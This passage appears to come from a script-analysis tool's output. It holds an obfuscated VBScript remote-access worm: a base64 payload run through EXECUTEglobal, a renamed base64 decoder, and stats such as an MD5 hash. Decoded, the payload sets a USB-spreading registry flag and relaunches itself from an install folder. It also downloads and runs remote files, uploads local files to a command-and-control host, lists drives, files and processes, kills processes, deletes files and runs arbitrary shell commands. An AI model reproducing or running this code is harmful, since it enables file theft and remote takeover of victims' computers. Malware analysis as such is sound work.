ZGluZywgIlJFR19TWiINCiAgIGVsc2UNCiAgICAgIHVzYnNwcmVhZGluZyA9ICJmYWxzZSAtICIgJiBkYXRlDQogICAgICBzaGVsbG9iai5yZWd3cml0ZSAiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSAgJiAiXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiDQoNCiAgIGVuZCBpZg0KZW5kIElmDQp1cHN0YXJ0DQpzZXQgc2NyaXB0ZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUpDQpzZXQgaW5zdGFsbGZ1bGxuYW1lc2hvcnQgPSAgZmlsZXN5c3RlbW9iai5nZXRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUpDQppZiAgbGNhc2UgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRwYXRoKSA8PiBsY2FzZSAoaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRwYXRoKSB0aGVuIA0KICAgIHNoZWxsb2JqLnJ1biAid3NjcmlwdC5leGUgLy9CICIgJiBjaHIoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgQ2hyKDM0KQ0KICAgIHdzY3JpcHQucXVpdCANCmVuZCBJZg0KZXJyLmNsZWFyDQpzZXQgb25lb25jZSA9IGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKQ0KaWYgIGVyci5udW1iZXIgPiAwIHRoZW4gd3NjcmlwdC5xdWl0DQplbmQgZnVuY3Rpb24NCnN1YiBzaXRlZG93bmxvYWRlciAoZmlsZXVybCxmaWxlbmFtZSkNCnN0cmxpbmsgPSBmaWxldXJsDQpzdHJzYXZldG8gPSBpbnN0YWxsZGlyICYgZmlsZW5hbWUNCnNldCBvYmpodHRwZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIiApDQpvYmpodHRwZG93bmxvYWQub3BlbiAiZ2V0Iiwgc3RybGluaywgZmFsc2UNCm9iamh0dHBkb3dubG9hZC5zZW5kDQpzZXQgb2JqZnNvZG93bmxvYWQgPSBjcmVhdGVvYmplY3QgKCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQppZiAgb2JqZnNvZG93bmxvYWQuZmlsZWV4aXN0cyAoc3Ryc2F2ZXRvKSB0aGVuDQogICAgb2JqZnNvZG93bmxvYWQuZGVsZXRlZmlsZSAoc3Ryc2F2ZXRvKQ0KZW5kIGlmDQogDQppZiBvYmpodHRwZG93bmxvYWQuc3RhdHVzID0gMjAwIHRoZW4NCiAgIGRpbSAgb2Jqc3RyZWFtZG93bmxvYWQNCiAgIHNldCAgb2Jqc3RyZWFtZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQogICB3aXRoIG9ianN0cmVhbWRvd25sb2FkDQoJCS50eXBlID0gMSANCgkJLm9wZW4NCgkJLndyaXRlIG9iamh0dHBkb3dubG9hZC5yZXNwb25zZWJvZHkNCgkJLnNhdmV0b2ZpbGUgc3Ryc2F2ZXRvDQoJCS5jbG9zZQ0KICAgZW5kIHdpdGgNCiAgIHNldCBvYmpzdHJlYW1kb3dubG9hZCA9IG5vdGhpbmcNCmVuZCBpZg0KaWYgb2JqZnNvZG93bmxvYWQuZmlsZWV4aXN0cyhzdHJzYXZldG8pIHRoZW4NCiAgIHNoZWxsb2JqLnJ1biBvYmpmc29kb3dubG9hZC5nZXRmaWxlIChzdHJzYXZldG8pLnNob3J0cGF0aA0KZW5kIGlmIA0KZW5kIHN1Yg0Kc3ViIGRvd25sb2FkIChmaWxldXJsLGZpbGVkaXIpDQppZiBmaWxlZGlyID0gIiIgdGhlbiANCiAgIGZpbGVkaXIgPSBpbnN0YWxsZGlyDQplbmQgaWYNCnN0cnNhdmV0byA9IGZpbGVkaXIgJiBtaWQgKGZpbGV1cmwsIGluc3RycmV2IChmaWxldXJsLCJcIikgKyAxKQ0Kc2V0IG9iamh0dHBkb3dubG9hZCA9IGNyZWF0ZW9iamVjdCgibXN4bWwyLnhtbGh0dHAiKQ0Kb2JqaHR0cGRvd25sb2FkLm9wZW4gInBvc3QiLCJodHRwOi8vIiAmIGhvc3QgJiAiOiIgJiBwb3J0ICYiLyIgJiAiaXMtc2VuZGluZyIgJiBzcGxpdGVyICYgZmlsZXVybCwgZmFsc2UNCm9iamh0dHBkb3dubG9hZC5zZW5kICIiDQogICAgIA0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhlbg0KICAgIG9iamZzb2Rvd25sb2FkLmRlbGV0ZWZpbGUgKHN0cnNhdmV0bykNCmVuZCBpZg0KaWYgIG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPSAyMDAgdGhlbg0KICAgIGRpbSAgb2Jqc3RyZWFtZG93bmxvYWQNCglzZXQgIG9ianN0cmVhbWRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJhZG9kYi5zdHJlYW0iKQ0KICAgIHdpdGggb2Jqc3RyZWFtZG93bmxvYWQgDQoJCSAudHlwZSA9IDEgDQoJCSAub3Blbg0KCQkgLndyaXRlIG9iamh0dHBkb3dubG9hZC5yZXNwb25zZWJvZHkNCgkJIC5zYXZldG9maWxlIHN0cnNhdmV0bw0KCQkgLmNsb3NlDQoJZW5kIHdpdGgNCiAgICBzZXQgb2Jqc3RyZWFtZG93bmxvYWQgID0gbm90aGluZw0KZW5kIGlmDQppZiBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzKHN0cnNhdmV0bykgdGhlbg0KICAgc2hlbGxvYmoucnVuIG9iamZzb2Rvd25sb2FkLmdldGZpbGUgKHN0cnNhdmV0bykuc2hvcnRwYXRoDQplbmQgaWYgDQplbmQgc3ViDQpmdW5jdGlvbiB1cGxvYWQgKGZpbGV1cmwpDQpkaW0gIGh0dHBvYmosb2Jqc3RyZWFtdXBsb2FkZSxidWZmZXINCnNldCAgb2Jqc3RyZWFtdXBsb2FkZSA9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCndpdGggb2Jqc3RyZWFtdXBsb2FkZSANCiAgICAgLnR5cGUgPSAxIA0KICAgICAub3Blbg0KCSAubG9hZGZyb21maWxlIGZpbGV1cmwNCgkgYnVmZmVyID0gLnJlYWQNCgkgLmNsb3NlDQplbmQgd2l0aA0Kc2V0IG9ianN0cmVhbWRvd25sb2FkID0gbm90aGluZw0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCmh0dHBvYmoub3BlbiAicG9zdCIsImh0dHA6Ly8iICYgaG9zdCAmICI6IiAmIHBvcnQgJiIvIiAmICJpcy1yZWN2aW5nIiAmIHNwbGl0ZXIgJiBmaWxldXJsLCBmYWxzZQ0KaHR0cG9iai5zZW5kIGJ1ZmZlcg0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtZHJpdmVyICgpDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICAgZHJpdmUuaXNyZWFkeSA9IHRydWUgdGhlbg0KICAgICBlbnVtZHJpdmVyID0gZW51bWRyaXZlciAmIGRyaXZlLnBhdGggJiAifCIgJiBkcml2ZS5kcml2ZXR5cGUgJiBzcGxpdGVyDQplbmQgaWYNCm5leHQNCmVuZCBGdW5jdGlvbg0KZnVuY3Rpb24gZW51bWZhZiAoZW51bWRpcikNCmVudW1mYWYgPSBlbnVtZGlyICYgc3BsaXRlcg0KZm9yICBlYWNoIGZvbGRlciBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoZW51bWRpcikuc3ViZm9sZGVycw0KICAgICBlbnVtZmFmID0gZW51bWZhZiAmIGZvbGRlci5uYW1lICYgInwiICYgIiIgJiAifCIgJiAiZCIgJiAifCIgJiBmb2xkZXIuYXR0cmlidXRlcyAmIHNwbGl0ZXINCm5leHQNCg0KZm9yICBlYWNoIGZpbGUgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIgKGVudW1kaXIpLmZpbGVzDQogICAgIGVudW1mYWYgPSBlbnVtZmFmICYgZmlsZS5uYW1lICYgInwiICYgZmlsZS5zaXplICAmICJ8IiAmICJmIiAmICJ8IiAmIGZpbGUuYXR0cmlidXRlcyAmIHNwbGl0ZXINCg0KbmV4dA0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtcHJvY2VzcyAoKQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCBvYmp3bWlzZXJ2aWNlID0gZ2V0b2JqZWN0KCJ3aW5tZ210czpcXC5ccm9vdFxjaW12MiIpDQpzZXQgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLmV4ZWNxdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9wcm9jZXNzIiwsNDgpDQpkaW0gb2JqaXRlbQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KCWVudW1wcm9jZXNzID0gZW51bXByb2Nlc3MgJiBvYmppdGVtLm5hbWUgJiAifCINCgllbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5wcm9jZXNzaWQgJiAifCINCiAgICBlbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5leGVjdXRhYmxlcGF0aCAmIHNwbGl0ZXINCm5leHQNCmVuZCBmdW5jdGlvbg0Kc3ViIGV4aXRwcm9jZXNzIChwaWQpDQpvbiBlcnJvciByZXN1bWUgbmV4dA0Kc2hlbGxvYmoucnVuICJ0YXNra2lsbCAvRiAvVCAvUElEICIgJiBwaWQsNyx0cnVlDQplbmQgc3ViDQpzdWIgZGVsZXRlZmFmICh1cmwpDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIHVybA0KZmlsZXN5c3RlbW9iai5kZWxldGVmb2xkZXIgdXJsDQplbmQgc3ViDQpmdW5jdGlvbiBjbWRzaGVsbCAoY21kKQ0KZGltIGh0dHBvYmosb2V4ZWMscmVhZGFsbGZyb21hbnkNCnNldCBvZXhlYyA9IHNoZWxsb2JqLmV4ZWMgKCIlY29tc3BlYyUgL2MgIiAmIGNtZCkNCmlmIG5vdCBvZXhlYy5zdGRvdXQuYXRlbmRvZnN0cmVhbSB0aGVuDQogICByZWFkYWxsZnJvbWFueSA9IG9leGVjLnN0ZG91dC5yZWFkYWxsDQplbHNlaWYgbm90IG9leGVjLnN0ZGVyci5hdGVuZG9mc3RyZWFtIHRoZW4NCiAgIHJlYWRhbGxmcm9tYW55ID0gb2V4ZWMuc3RkZXJyLnJlYWRhbGwNCmVsc2UgDQogICByZWFkYWxsZnJvbWFueSA9ICIiDQplbmQgaWYNCmNtZHNoZWxsID0gcmVhZGFsbGZyb21hbnkNCmVuZCBmdW5jdGlvbg==")
EXECUTEglobal (tyty)
function tytyy(data)
     tytyy=tytyyy(data)
end function
Function tytyyy(ByVal yutString)
     Const yut = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
     Dim dataLength, sOut, groupBegin
     yutString = Replace(yutString, vbCrLf, "")
     yutString = Replace(yutString, vbTab, "")
     yutString = Replace(yutString, " ", "")
     dataLength = Len(yutString)
     If dataLength Mod 4 <> 0 Then
          Err.Raise 1, "yutDecode", "Bad yut string."
          Exit Function
     End If
     For groupBegin = 1 To dataLength Step 4
          Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
          numDataBytes = 3
          nGroup = 0
          
          For CharCounter = 0 To 3
               thisChar = Mid(yutString, groupBegin + CharCounter, 1)
               
               If thisChar = "=" Then
                    numDataBytes = numDataBytes - 1
                    thisData = 0
               Else
                    thisData = InStr(1, yut, thisChar, vbBinaryCompare) - 1
               End If
     
               If thisData = -1 Then
                    Err.Raise 2, "yutDecode", "Bad character In yut string."
                    Exit Function
               End If
               
               nGroup = 64 * nGroup + thisData
          Next
          nGroup = Hex(nGroup)
          nGroup = String(6 - Len(nGroup), "0") & nGroup
          pOut =      Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 5, 2)))
          sOut = sOut & Left(pOut, numDataBytes)
     Next
     tytyyy = sOut
End Function

Function Calls

None

Variables

None

Stats

MD5 3bffe0527cbdf160ad0b51588579c3da
Eval Count 0
Decode Time 976 ms